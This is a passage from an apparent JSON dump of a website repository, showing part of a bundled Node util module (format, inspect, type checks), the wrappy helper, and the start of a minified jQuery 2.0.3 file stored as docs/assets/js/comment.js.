WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nvar formatRegExp = /%[sdj%]/g;\nexports.format = function(f) {\n  if (!isString(f)) {\n    var objects = [];\n    for (var i = 0; i < arguments.length; i++) {\n      objects.push(inspect(arguments[i]));\n    }\n    return objects.join(' ');\n  }\n\n  var i = 1;\n  var args = arguments;\n  var len = args.length;\n  var str = String(f).replace(formatRegExp, function(x) {\n    if (x === '%%') return '%';\n    if (i >= len) return x;\n    switch (x) {\n      case '%s': return String(args[i++]);\n      case '%d': return Number(args[i++]);\n      case '%j':\n        try {\n          return JSON.stringify(args[i++]);\n        } catch (_) {\n          return '[Circular]';\n        }\n      default:\n        return x;\n    }\n  });\n  for (var x = args[i]; i < len; x = args[++i]) {\n    if (isNull(x) || !isObject(x)) {\n      str += ' ' + x;\n    } else {\n      str += ' ' + inspect(x);\n    }\n  }\n  return str;\n};\n\n\n// Mark that a method should not be used.\n// Returns a modified function which warns once by default.\n// If --no-deprecation is set, then it is a no-op.\nexports.deprecate = function(fn, msg) {\n  // Allow for deprecating things in the process of starting up.\n  if (isUndefined(global.process)) {\n    return function() {\n      return exports.deprecate(fn, msg).apply(this, arguments);\n    };\n  }\n\n  if (process.noDeprecation === true) {\n    return fn;\n  }\n\n  var warned = false;\n  function deprecated() {\n    if (!warned) {\n      if (process.throwDeprecation) {\n        throw new Error(msg);\n      } else if (process.traceDeprecation) {\n        console.trace(msg);\n      } else {\n        console.error(msg);\n      }\n      warned = true;\n    }\n    return fn.apply(this, arguments);\n  }\n\n  return deprecated;\n};\n\n\nvar debugs = {};\nvar debugEnviron;\nexports.debuglog = function(set) {\n  if (isUndefined(debugEnviron))\n    debugEnviron = process.env.NODE_DEBUG || '';\n  set = set.toUpperCase();\n  if (!debugs[set]) {\n    if (new RegExp('\\\\b' + set + '\\\\b', 'i').test(debugEnviron)) {\n      var pid = process.pid;\n      debugs[set] = function() {\n        var msg = exports.format.apply(exports, arguments);\n        console.error('%s %d: %s', set, pid, msg);\n      };\n    } else {\n      debugs[set] = function() {};\n    }\n  }\n  return debugs[set];\n};\n\n\n/**\n * Echos the value of a value. Trys to print the value out\n * in the best way possible given the different types.\n *\n * @param {Object} obj The object to print out.\n * @param {Object} opts Optional options object that alters the output.\n */\n/* legacy: obj, showHidden, depth, colors*/\nfunction inspect(obj, opts) {\n  // default options\n  var ctx = {\n    seen: [],\n    stylize: stylizeNoColor\n  };\n  // legacy...\n  if (arguments.length >= 3) ctx.depth = arguments[2];\n  if (arguments.length >= 4) ctx.colors = arguments[3];\n  if (isBoolean(opts)) {\n    // legacy...\n    ctx.showHidden = opts;\n  } else if (opts) {\n    // got an \"options\" object\n    exports._extend(ctx, opts);\n  }\n  // set default options\n  if (isUndefined(ctx.showHidden)) ctx.showHidden = false;\n  if (isUndefined(ctx.depth)) ctx.depth = 2;\n  if (isUndefined(ctx.colors)) ctx.colors = false;\n  if (isUndefined(ctx.customInspect)) ctx.customInspect = true;\n  if (ctx.colors) ctx.stylize = stylizeWithColor;\n  return formatValue(ctx, obj, ctx.depth);\n}\nexports.inspect = inspect;\n\n\n// http://en.wikipedia.org/wiki/ANSI_escape_code#graphics\ninspect.colors = {\n  'bold' : [1, 22],\n  'italic' : [3, 23],\n  'underline' : [4, 24],\n  'inverse' : [7, 27],\n  'white' : [37, 39],\n  'grey' : [90, 39],\n  'black' : [30, 39],\n  'blue' : [34, 39],\n  'cyan' : [36, 39],\n  'green' : [32, 39],\n  'magenta' : [35, 39],\n  'red' : [31, 39],\n  'yellow' : [33, 39]\n};\n\n// Don't use 'blue' not visible on cmd.exe\ninspect.styles = {\n  'special': 'cyan',\n  'number': 'yellow',\n  'boolean': 'yellow',\n  'undefined': 'grey',\n  'null': 'bold',\n  'string': 'green',\n  'date': 'magenta',\n  // \"name\": intentionally not styling\n  'regexp': 'red'\n};\n\n\nfunction stylizeWithColor(str, styleType) {\n  var style = inspect.styles[styleType];\n\n  if (style) {\n    return '\\u001b[' + inspect.colors[style][0] + 'm' + str +\n           '\\u001b[' + inspect.colors[style][1] + 'm';\n  } else {\n    return str;\n  }\n}\n\n\nfunction stylizeNoColor(str, styleType) {\n  return str;\n}\n\n\nfunction arrayToHash(array) {\n  var hash = {};\n\n  array.forEach(function(val, idx) {\n    hash[val] = true;\n  });\n\n  return hash;\n}\n\n\nfunction formatValue(ctx, value, recurseTimes) {\n  // Provide a hook for user-specified inspect functions.\n  // Check that value is an object with an inspect function on it\n  if (ctx.customInspect &&\n      value &&\n      isFunction(value.inspect) &&\n      // Filter out the util module, it's inspect function is special\n      value.inspect !== exports.inspect &&\n      // Also filter out any prototype objects using the circular check.\n      !(value.constructor && value.constructor.prototype === value)) {\n    var ret = value.inspect(recurseTimes, ctx);\n    if (!isString(ret)) {\n      ret = formatValue(ctx, ret, recurseTimes);\n    }\n    return ret;\n  }\n\n  // Primitive types cannot have properties\n  var primitive = formatPrimitive(ctx, value);\n  if (primitive) {\n    return primitive;\n  }\n\n  // Look up the keys of the object.\n  var keys = Object.keys(value);\n  var visibleKeys = arrayToHash(keys);\n\n  if (ctx.showHidden) {\n    keys = Object.getOwnPropertyNames(value);\n  }\n\n  // IE doesn't make error fields non-enumerable\n  // http://msdn.microsoft.com/en-us/library/ie/dww52sbt(v=vs.94).aspx\n  if (isError(value)\n      && (keys.indexOf('message') >= 0 || keys.indexOf('description') >= 0)) {\n    return formatError(value);\n  }\n\n  // Some type of object without properties can be shortcutted.\n  if (keys.length === 0) {\n    if (isFunction(value)) {\n      var name = value.name ? ': ' + value.name : '';\n      return ctx.stylize('[Function' + name + ']', 'special');\n    }\n    if (isRegExp(value)) {\n      return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp');\n    }\n    if (isDate(value)) {\n      return ctx.stylize(Date.prototype.toString.call(value), 'date');\n    }\n    if (isError(value)) {\n      return formatError(value);\n    }\n  }\n\n  var base = '', array = false, braces = ['{', '}'];\n\n  // Make Array say that they are Array\n  if (isArray(value)) {\n    array = true;\n    braces = ['[', ']'];\n  }\n\n  // Make functions say that they are functions\n  if (isFunction(value)) {\n    var n = value.name ? ': ' + value.name : '';\n    base = ' [Function' + n + ']';\n  }\n\n  // Make RegExps say that they are RegExps\n  if (isRegExp(value)) {\n    base = ' ' + RegExp.prototype.toString.call(value);\n  }\n\n  // Make dates with properties first say the date\n  if (isDate(value)) {\n    base = ' ' + Date.prototype.toUTCString.call(value);\n  }\n\n  // Make error with message first say the error\n  if (isError(value)) {\n    base = ' ' + formatError(value);\n  }\n\n  if (keys.length === 0 && (!array || value.length == 0)) {\n    return braces[0] + base + braces[1];\n  }\n\n  if (recurseTimes < 0) {\n    if (isRegExp(value)) {\n      return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp');\n    } else {\n      return ctx.stylize('[Object]', 'special');\n    }\n  }\n\n  ctx.seen.push(value);\n\n  var output;\n  if (array) {\n    output = formatArray(ctx, value, recurseTimes, visibleKeys, keys);\n  } else {\n    output = keys.map(function(key) {\n      return formatProperty(ctx, value, recurseTimes, visibleKeys, key, array);\n    });\n  }\n\n  ctx.seen.pop();\n\n  return reduceToSingleString(output, base, braces);\n}\n\n\nfunction formatPrimitive(ctx, value) {\n  if (isUndefined(value))\n    return ctx.stylize('undefined', 'undefined');\n  if (isString(value)) {\n    var simple = '\\'' + JSON.stringify(value).replace(/^\"|\"$/g, '')\n                                             .replace(/'/g, \"\\\\'\")\n                                             .replace(/\\\\\"/g, '\"') + '\\'';\n    return ctx.stylize(simple, 'string');\n  }\n  if (isNumber(value))\n    return ctx.stylize('' + value, 'number');\n  if (isBoolean(value))\n    return ctx.stylize('' + value, 'boolean');\n  // For some reason typeof null is \"object\", so special case here.\n  if (isNull(value))\n    return ctx.stylize('null', 'null');\n}\n\n\nfunction formatError(value) {\n  return '[' + Error.prototype.toString.call(value) + ']';\n}\n\n\nfunction formatArray(ctx, value, recurseTimes, visibleKeys, keys) {\n  var output = [];\n  for (var i = 0, l = value.length; i < l; ++i) {\n    if (hasOwnProperty(value, String(i))) {\n      output.push(formatProperty(ctx, value, recurseTimes, visibleKeys,\n          String(i), true));\n    } else {\n      output.push('');\n    }\n  }\n  keys.forEach(function(key) {\n    if (!key.match(/^\\d+$/)) {\n      output.push(formatProperty(ctx, value, recurseTimes, visibleKeys,\n          key, true));\n    }\n  });\n  return output;\n}\n\n\nfunction formatProperty(ctx, value, recurseTimes, visibleKeys, key, array) {\n  var name, str, desc;\n  desc = Object.getOwnPropertyDescriptor(value, key) || { value: value[key] };\n  if (desc.get) {\n    if (desc.set) {\n      str = ctx.stylize('[Getter/Setter]', 'special');\n    } else {\n      str = ctx.stylize('[Getter]', 'special');\n    }\n  } else {\n    if (desc.set) {\n      str = ctx.stylize('[Setter]', 'special');\n    }\n  }\n  if (!hasOwnProperty(visibleKeys, key)) {\n    name = '[' + key + ']';\n  }\n  if (!str) {\n    if (ctx.seen.indexOf(desc.value) < 0) {\n      if (isNull(recurseTimes)) {\n        str = formatValue(ctx, desc.value, null);\n      } else {\n        str = formatValue(ctx, desc.value, recurseTimes - 1);\n      }\n      if (str.indexOf('\\n') > -1) {\n        if (array) {\n          str = str.split('\\n').map(function(line) {\n            return '  ' + line;\n          }).join('\\n').substr(2);\n        } else {\n          str = '\\n' + str.split('\\n').map(function(line) {\n            return '   ' + line;\n          }).join('\\n');\n        }\n      }\n    } else {\n      str = ctx.stylize('[Circular]', 'special');\n    }\n  }\n  if (isUndefined(name)) {\n    if (array && key.match(/^\\d+$/)) {\n      return str;\n    }\n    name = JSON.stringify('' + key);\n    if (name.match(/^\"([a-zA-Z_][a-zA-Z_0-9]*)\"$/)) {\n      name = name.substr(1, name.length - 2);\n      name = ctx.stylize(name, 'name');\n    } else {\n      name = name.replace(/'/g, \"\\\\'\")\n                 .replace(/\\\\\"/g, '\"')\n                 .replace(/(^\"|\"$)/g, \"'\");\n      name = ctx.stylize(name, 'string');\n    }\n  }\n\n  return name + ': ' + str;\n}\n\n\nfunction reduceToSingleString(output, base, braces) {\n  var numLinesEst = 0;\n  var length = output.reduce(function(prev, cur) {\n    numLinesEst++;\n    if (cur.indexOf('\\n') >= 0) numLinesEst++;\n    return prev + cur.replace(/\\u001b\\[\\d\\d?m/g, '').length + 1;\n  }, 0);\n\n  if (length > 60) {\n    return braces[0] +\n           (base === '' ? '' : base + '\\n ') +\n           ' ' +\n           output.join(',\\n  ') +\n           ' ' +\n           braces[1];\n  }\n\n  return braces[0] + base + ' ' + output.join(', ') + ' ' + braces[1];\n}\n\n\n// NOTE: These type checking functions intentionally don't use `instanceof`\n// because it is fragile and can be easily faked with `Object.create()`.\nfunction isArray(ar) {\n  return Array.isArray(ar);\n}\nexports.isArray = isArray;\n\nfunction isBoolean(arg) {\n  return typeof arg === 'boolean';\n}\nexports.isBoolean = isBoolean;\n\nfunction isNull(arg) {\n  return arg === null;\n}\nexports.isNull = isNull;\n\nfunction isNullOrUndefined(arg) {\n  return arg == null;\n}\nexports.isNullOrUndefined = isNullOrUndefined;\n\nfunction isNumber(arg) {\n  return typeof arg === 'number';\n}\nexports.isNumber = isNumber;\n\nfunction isString(arg) {\n  return typeof arg === 'string';\n}\nexports.isString = isString;\n\nfunction isSymbol(arg) {\n  return typeof arg === 'symbol';\n}\nexports.isSymbol = isSymbol;\n\nfunction isUndefined(arg) {\n  return arg === void 0;\n}\nexports.isUndefined = isUndefined;\n\nfunction isRegExp(re) {\n  return isObject(re) && objectToString(re) === '[object RegExp]';\n}\nexports.isRegExp = isRegExp;\n\nfunction isObject(arg) {\n  return typeof arg === 'object' && arg !== null;\n}\nexports.isObject = isObject;\n\nfunction isDate(d) {\n  return isObject(d) && objectToString(d) === '[object Date]';\n}\nexports.isDate = isDate;\n\nfunction isError(e) {\n  return isObject(e) &&\n      (objectToString(e) === '[object Error]' || e instanceof Error);\n}\nexports.isError = isError;\n\nfunction isFunction(arg) {\n  return typeof arg === 'function';\n}\nexports.isFunction = isFunction;\n\nfunction isPrimitive(arg) {\n  return arg === null ||\n         typeof arg === 'boolean' ||\n         typeof arg === 'number' ||\n         typeof arg === 'string' ||\n         typeof arg === 'symbol' ||  // ES6 symbol\n         typeof arg === 'undefined';\n}\nexports.isPrimitive = isPrimitive;\n\nexports.isBuffer = require('./support/isBuffer');\n\nfunction objectToString(o) {\n  return Object.prototype.toString.call(o);\n}\n\n\nfunction pad(n) {\n  return n < 10 ? '0' + n.toString(10) : n.toString(10);\n}\n\n\nvar months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep',\n              'Oct', 'Nov', 'Dec'];\n\n// 26 Feb 16:19:34\nfunction timestamp() {\n  var d = new Date();\n  var time = [pad(d.getHours()),\n              pad(d.getMinutes()),\n              pad(d.getSeconds())].join(':');\n  return [d.getDate(), months[d.getMonth()], time].join(' ');\n}\n\n\n// log is just a thin wrapper to console.log that prepends a timestamp\nexports.log = function() {\n  console.log('%s - %s', timestamp(), exports.format.apply(exports, arguments));\n};\n\n\n/**\n * Inherit the prototype methods from one constructor into another.\n *\n * The Function.prototype.inherits from lang.js rewritten as a standalone\n * function (not on Function.prototype). NOTE: If this file is to be loaded\n * during bootstrapping this function needs to be rewritten using some native\n * functions as prototype setup using normal JavaScript does not work as\n * expected during bootstrapping (see mirror.js in r114903).\n *\n * @param {function} ctor Constructor function which needs to inherit the\n *     prototype.\n * @param {function} superCtor Constructor function to inherit prototype from.\n */\nexports.inherits = require('inherits');\n\nexports._extend = function(origin, add) {\n  // Don't do anything if add isn't an object\n  if (!add || !isObject(add)) return origin;\n\n  var keys = Object.keys(add);\n  var i = keys.length;\n  while (i--) {\n    origin[keys[i]] = add[keys[i]];\n  }\n  return origin;\n};\n\nfunction hasOwnProperty(obj, prop) {\n  return Object.prototype.hasOwnProperty.call(obj, prop);\n}\n\n}).call(this,require('_process'),typeof global !== \"undefined\" ? global : typeof self !== \"undefined\" ? self : typeof window !== \"undefined\" ? window : {})\n},{\"./support/isBuffer\":27,\"_process\":24,\"inherits\":26}],29:[function(require,module,exports){\n// Returns a wrapper function that returns a wrapped callback\n// The wrapper function should do some stuff, and return a\n// presumably different callback function.\n// This makes sure that own properties are retained, so that\n// decorations and such are not lost along the way.\nmodule.exports = wrappy\nfunction wrappy (fn, cb) {\n  if (fn && cb) return wrappy(fn)(cb)\n\n  if (typeof fn !== 'function')\n    throw new TypeError('need wrapper function')\n\n  Object.keys(fn).forEach(function (k) {\n    wrapper[k] = fn[k]\n  })\n\n  return wrapper\n\n  function wrapper() {\n    var args = new Array(arguments.length)\n    for (var i = 0; i < args.length; i++) {\n      args[i] = arguments[i]\n    }\n    var ret = fn.apply(this, args)\n    var cb = args[args.length-1]\n    if (typeof ret === 'function' && ret !== cb) {\n      Object.keys(cb).forEach(function (k) {\n        ret[k] = cb[k]\n      })\n    }\n    return ret\n  }\n}\n\n},{}]},{},[7])(7)\n});"
  },
  {
    "path": "docs/assets/js/comment.js",
    "content": "/*! jQuery v2.0.3 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license\n//@ sourceMappingURL=jquery.min.map\n*/\n(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],p=\"2.0.3\",f=c.concat,h=c.push,d=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,x=function(e,n){return new x.fn.init(e,n,t)},b=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,w=/\\S+/g,T=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,C=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,k=/^-ms-/,N=/-([\\da-z])/gi,E=function(e,t){return t.toUpperCase()},S=function(){o.removeEventListener(\"DOMContentLoaded\",S,!1),e.removeEventListener(\"load\",S,!1),x.ready()};x.fn=x.prototype={jquery:p,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if(\"string\"==typeof e){if(r=\"<\"===e.charAt(0)&&\">\"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:T.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof x?t[0]:t,x.merge(this,x.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:o,!0)),C.test(r[1])&&x.isPlainObject(t))for(r in t)x.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return i=o.getElementById(r[2]),i&&i.parentNode&&(this.length=1,this[0]=i),this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?n.ready(e):(e.selector!==undefined&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:\"\",length:0,toArray:function(){return d.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,t,n,r,i,o,s=arguments[0]||{},a=1,u=arguments.length,l=!1;for(\"boolean\"==typeof s&&(l=s,s=arguments[1]||{},a=2),\"object\"==typeof s||x.isFunction(s)||(s={}),u===a&&(s=this,--a);u>a;a++)if(null!=(e=arguments[a]))for(t in e)n=s[t],r=e[t],s!==r&&(l&&r&&(x.isPlainObject(r)||(i=x.isArray(r)))?(i?(i=!1,o=n&&x.isArray(n)?n:[]):o=n&&x.isPlainObject(n)?n:{},s[t]=x.extend(l,o,r)):r!==undefined&&(s[t]=r));return s},x.extend({expando:\"jQuery\"+(p+Math.random()).replace(/\\D/g,\"\"),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=a),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){(e===!0?--x.readyWait:x.isReady)||(x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(o,[x]),x.fn.trigger&&x(o).trigger(\"ready\").off(\"ready\")))},isFunction:function(e){return\"function\"===x.type(e)},isArray:Array.isArray,isWindow:function(e){return null!=e&&e===e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[m.call(e)]||\"object\":typeof e},isPlainObject:function(e){if(\"object\"!==x.type(e)||e.nodeType||x.isWindow(e))return!1;try{if(e.constructor&&!y.call(e.constructor.prototype,\"isPrototypeOf\"))return!1}catch(t){return!1}return!0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||\"string\"!=typeof e)return null;\"boolean\"==typeof t&&(n=t,t=!1),t=t||o;var r=C.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:JSON.parse,parseXML:function(e){var t,n;if(!e||\"string\"!=typeof e)return null;try{n=new DOMParser,t=n.parseFromString(e,\"text/xml\")}catch(r){t=undefined}return(!t||t.getElementsByTagName(\"parsererror\").length)&&x.error(\"Invalid XML: \"+e),t},noop:function(){},globalEval:function(e){var t,n=eval;e=x.trim(e),e&&(1===e.indexOf(\"use strict\")?(t=o.createElement(\"script\"),t.text=e,o.head.appendChild(t).parentNode.removeChild(t)):n(e))},camelCase:function(e){return e.replace(k,\"ms-\").replace(N,E)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,s=j(e);if(n){if(s){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(s){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:function(e){return null==e?\"\":v.call(e)},makeArray:function(e,t){var n=t||[];return null!=e&&(j(Object(e))?x.merge(n,\"string\"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:g.call(t,e,n)},merge:function(e,t){var n=t.length,r=e.length,i=0;if(\"number\"==typeof n)for(;n>i;i++)e[r++]=t[i];else while(t[i]!==undefined)e[r++]=t[i++];return e.length=r,e},grep:function(e,t,n){var r,i=[],o=0,s=e.length;for(n=!!n;s>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,s=j(e),a=[];if(s)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(a[a.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(a[a.length]=r);return f.apply([],a)},guid:1,proxy:function(e,t){var n,r,i;return\"string\"==typeof t&&(n=e[t],t=e,e=n),x.isFunction(e)?(r=d.call(arguments,2),i=function(){return e.apply(t||this,r.concat(d.call(arguments)))},i.guid=e.guid=e.guid||x.guid++,i):undefined},access:function(e,t,n,r,i,o,s){var a=0,u=e.length,l=null==n;if(\"object\"===x.type(n)){i=!0;for(a in n)x.access(e,t,a,n[a],!0,o,s)}else if(r!==undefined&&(i=!0,x.isFunction(r)||(s=!0),l&&(s?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(x(e),n)})),t))for(;u>a;a++)t(e[a],n,s?r:r.call(e[a],a,t(e[a],n)));return i?e:l?t.call(e):u?t(e[0],n):o},now:Date.now,swap:function(e,t,n,r){var i,o,s={};for(o in t)s[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=s[o];return i}}),x.ready.promise=function(t){return n||(n=x.Deferred(),\"complete\"===o.readyState?setTimeout(x.ready):(o.addEventListener(\"DOMContentLoaded\",S,!1),e.addEventListener(\"load\",S,!1))),n.promise(t)},x.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function j(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:\"array\"===n||\"function\"!==n&&(0===t||\"number\"==typeof t&&t>0&&t-1 in e)}t=x(o),function(e,undefined){var t,n,r,i,o,s,a,u,l,c,p,f,h,d,g,m,y,v=\"sizzle\"+-new Date,b=e.document,w=0,T=0,C=st(),k=st(),N=st(),E=!1,S=function(e,t){return e===t?(E=!0,0):0},j=typeof undefined,D=1<<31,A={}.hasOwnProperty,L=[],q=L.pop,H=L.push,O=L.push,F=L.slice,P=L.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},R=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",M=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",W=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",$=W.replace(\"w\",\"w#\"),B=\"\\\\[\"+M+\"*(\"+W+\")\"+M+\"*(?:([*^$|!~]?=)\"+M+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+$+\")|)|)\"+M+\"*\\\\]\",I=\":(\"+W+\")(?:\\\\(((['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+B.replace(3,8)+\")*)|.*)\\\\)|)\",z=RegExp(\"^\"+M+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+M+\"+$\",\"g\"),_=RegExp(\"^\"+M+\"*,\"+M+\"*\"),X=RegExp(\"^\"+M+\"*([>+~]|\"+M+\")\"+M+\"*\"),U=RegExp(M+\"*[+~]\"),Y=RegExp(\"=\"+M+\"*([^\\\\]'\\\"]*)\"+M+\"*\\\\]\",\"g\"),V=RegExp(I),G=RegExp(\"^\"+$+\"$\"),J={ID:RegExp(\"^#(\"+W+\")\"),CLASS:RegExp(\"^\\\\.(\"+W+\")\"),TAG:RegExp(\"^(\"+W.replace(\"w\",\"w*\")+\")\"),ATTR:RegExp(\"^\"+B),PSEUDO:RegExp(\"^\"+I),CHILD:RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+M+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+M+\"*(?:([+-]|)\"+M+\"*(\\\\d+)|))\"+M+\"*\\\\)|)\",\"i\"),bool:RegExp(\"^(?:\"+R+\")$\",\"i\"),needsContext:RegExp(\"^\"+M+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+M+\"*((?:-\\\\d)?\\\\d*)\"+M+\"*\\\\)|)(?=[^-]|$)\",\"i\")},Q=/^[^{]+\\{\\s*\\[native \\w/,K=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,Z=/^(?:input|select|textarea|button)$/i,et=/^h\\d$/i,tt=/'|\\\\/g,nt=RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+M+\"?|(\"+M+\")|.)\",\"ig\"),rt=function(e,t,n){var r=\"0x\"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{O.apply(L=F.call(b.childNodes),b.childNodes),L[b.childNodes.length].nodeType}catch(it){O={apply:L.length?function(e,t){H.apply(e,F.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function ot(e,t,r,i){var o,s,a,u,l,f,g,m,x,w;if((t?t.ownerDocument||t:b)!==p&&c(t),t=t||p,r=r||[],!e||\"string\"!=typeof e)return r;if(1!==(u=t.nodeType)&&9!==u)return[];if(h&&!i){if(o=K.exec(e))if(a=o[1]){if(9===u){if(s=t.getElementById(a),!s||!s.parentNode)return r;if(s.id===a)return r.push(s),r}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(a))&&y(t,s)&&s.id===a)return r.push(s),r}else{if(o[2])return O.apply(r,t.getElementsByTagName(e)),r;if((a=o[3])&&n.getElementsByClassName&&t.getElementsByClassName)return O.apply(r,t.getElementsByClassName(a)),r}if(n.qsa&&(!d||!d.test(e))){if(m=g=v,x=t,w=9===u&&e,1===u&&\"object\"!==t.nodeName.toLowerCase()){f=gt(e),(g=t.getAttribute(\"id\"))?m=g.replace(tt,\"\\\\$&\"):t.setAttribute(\"id\",m),m=\"[id='\"+m+\"'] \",l=f.length;while(l--)f[l]=m+mt(f[l]);x=U.test(e)&&t.parentNode||t,w=f.join(\",\")}if(w)try{return O.apply(r,x.querySelectorAll(w)),r}catch(T){}finally{g||t.removeAttribute(\"id\")}}}return kt(e.replace(z,\"$1\"),t,r,i)}function st(){var e=[];function t(n,r){return e.push(n+=\" \")>i.cacheLength&&delete t[e.shift()],t[n]=r}return t}function at(e){return e[v]=!0,e}function ut(e){var t=p.createElement(\"div\");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function lt(e,t){var n=e.split(\"|\"),r=e.length;while(r--)i.attrHandle[n[r]]=t}function ct(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function pt(e){return function(t){var n=t.nodeName.toLowerCase();return\"input\"===n&&t.type===e}}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return(\"input\"===n||\"button\"===n)&&t.type===e}}function ht(e){return at(function(t){return t=+t,at(function(n,r){var i,o=e([],n.length,t),s=o.length;while(s--)n[i=o[s]]&&(n[i]=!(r[i]=n[i]))})})}s=ot.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?\"HTML\"!==t.nodeName:!1},n=ot.support={},c=ot.setDocument=function(e){var t=e?e.ownerDocument||e:b,r=t.defaultView;return t!==p&&9===t.nodeType&&t.documentElement?(p=t,f=t.documentElement,h=!s(t),r&&r.attachEvent&&r!==r.top&&r.attachEvent(\"onbeforeunload\",function(){c()}),n.attributes=ut(function(e){return e.className=\"i\",!e.getAttribute(\"className\")}),n.getElementsByTagName=ut(function(e){return e.appendChild(t.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),n.getElementsByClassName=ut(function(e){return e.innerHTML=\"<div class='a'></div><div class='a i'></div>\",e.firstChild.className=\"i\",2===e.getElementsByClassName(\"i\").length}),n.getById=ut(function(e){return f.appendChild(e).id=v,!t.getElementsByName||!t.getElementsByName(v).length}),n.getById?(i.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},i.filter.ID=function(e){var t=e.replace(nt,rt);return function(e){return 